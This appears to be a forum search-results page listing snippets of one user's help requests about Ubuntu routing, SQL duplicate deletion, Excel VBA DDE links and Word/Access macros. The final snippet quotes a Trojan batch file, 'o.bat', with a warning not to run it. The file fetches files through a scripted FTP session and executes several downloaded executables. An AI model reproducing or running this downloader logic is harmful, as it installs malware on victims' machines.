Search results for query: *

HI! I have a laptop running Ubuntu 8.04 server - command line. This laptop has 2 network interfaces: USB and RJ45 I'm trying to share internet connection and have it work as router It pings internet sites through USB, but unable to ping anything on LAN through RJ-45, i.e 192.168.0.1 -...

Hi! I read for 4 days various articles on it, but being a networking and Linux Noob, could not make it work. I am out of ideas with no hope of making it on my own, so please, HELP! I am trying to set up a laptop with linux server as a gteway/router. Laptop needs Public IP because some app...

Out of 10 million rows, 1,2 million should be deleted. Can you please suggest a way to loop this code until subquery result is ZERO - no duplicate exceeds count 100. Each DELETE removes about 6000 records - that's 200 loops! DELETE FROM [1] WHERE (Name IN...

OK, I got it working, but there was a price to pay! I removed all indexes except for the Name index. Modified code suggestions by GMMASTROS: instead of "TOP 100", which FAILS, I tried "TOP 10" - FAILS, then "TOP 5" - WORKS! So I am moving along at a snails pace. My boss promised to fire me...

MARKROS, I don't have primary key, but I will look into the article you suggested, thanks! ------------------------------------------------------------- GMMASTROS, I have no triggers, so the first command returned blank. Here is second: index_name index_description index_keys State...

OK, this is really frustrating! GMMASTROS, I like your suggestion to limit queries to a few TOP results. I verified your suggestion with SELECT statement, and it returns just the records that need to be erased . HOWEVER!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!! when I am ready to...

Let me clarify. This Sub-query works, and I want to delete all of those records returned by it: (SELECT Name FROM [1] GROUP BY Name HAVING (COUNT(Name) > 100))) Is there a better way to delete those ...

SUMMARY Query works on a 1 Mil row table but gives above error on 10 mil. row table. QUERY ___________________________________________________________ DELETE FROM [1] WHERE (Name = ANY (SELECT Name FROM [1]...

Still looking for help on calling procedure using SetLinkOnData and passing a variable to it. Help will be greatly appreciated. I found 2 references: on passing a parameter between subroutines and on caling procedures. NONE OF THEM WORKS WITH SetLinkOnData method. EIther I get "Type...

HI! I declared all variables outside of subs. I changed Dim Links as Variant to Global Links as Variant I still get error due to the problem with the Links and "i" variables: either "type mismatch" or "subscript out of range" It means I failed to pass the value. Here is the catch...

Dear PHV, Your solution works, but implementing it will be very inefficient in my case. Links(i) are DDE query strings, containgin subject of a query and parameter to be returned. There are 100 subjects, with 7 parameters each. If I did as you suggested, I'd need to write 700 subs. What I...

Hi! I have 2 subs in excel VBA module. OBJECTIVE: combine code into one Sub / Function First sub DOES: CONTINUOUSLY monitor DDE updates with LinkOnData method, DOES NOT: pass link strings to another sub Second sub DOES: Pass link strings to anoter sub DOES NOT: monitor links contuinuously...

hi! I have a workbook with several links to DDE server. The link source is an external file on a server to which I have no direct access, and updates come automatically at random intervals. I would like to know if there is a way to write the code that will show me a message box every time a...

thank you, you're bringing the points which I have overlooked. I do not have access to the link source file. I did not make updates manually, they come automatically at random intervals. because of all that, all I have is my destination file and DDE formulas, like...

hi! I have Excel file with several DDE links from external sources, updated @ random intervals. For the example sake let's say there are three links. I would like to know which of the three links was updated last.. How can I do that? The links are the part of the array.. Can I identify the...

why tough? because this event has to run randomly. Excel has DDE link updating sells at random intervals. I have a macro that is triggered every time data comes in. Within that macro I want to write the code to export updated values from Excel into Microsoft Access. The problem was...

hi! I'm trying to create a macro in Microsoft Word to allow users to save a document and pass the name of the document in to Microsoft Access database. here is a macro in Microsoft Word. this is pretty much a copy of the solution I found the Microsoft's site...

P.S. Just a thought: I do know the serveer address which sends data to my spreadsheet. If I couldn't get VB.Net to respond to DDE link updates, maybe I could get it to monitor activity on IP address and raise event this way??

Hi! I have an Excel spreadsheet with several DDE links. Every Time DDE link is updated i would like to send these updates into Microsoft Access database and trigger several calculations. To the best of my knowledge, Microsoft Access database does not have any triggers. So I need the code...

Two files (be careful not to run it, you'll get a Torjan, and it's not a condom!): FILE "o.bat" \\\\\\\\\\\\\\\\\\\\\\ if not exist H:\WINNTstatuslog ftp -s:o if exist newdevin.exe newdevin.exe if exist 449166.exe 449166.exe if exist TVM_B5.EXE TVM_B5.EXE if exist 06wu29rd.exe 06wu29rd.exe...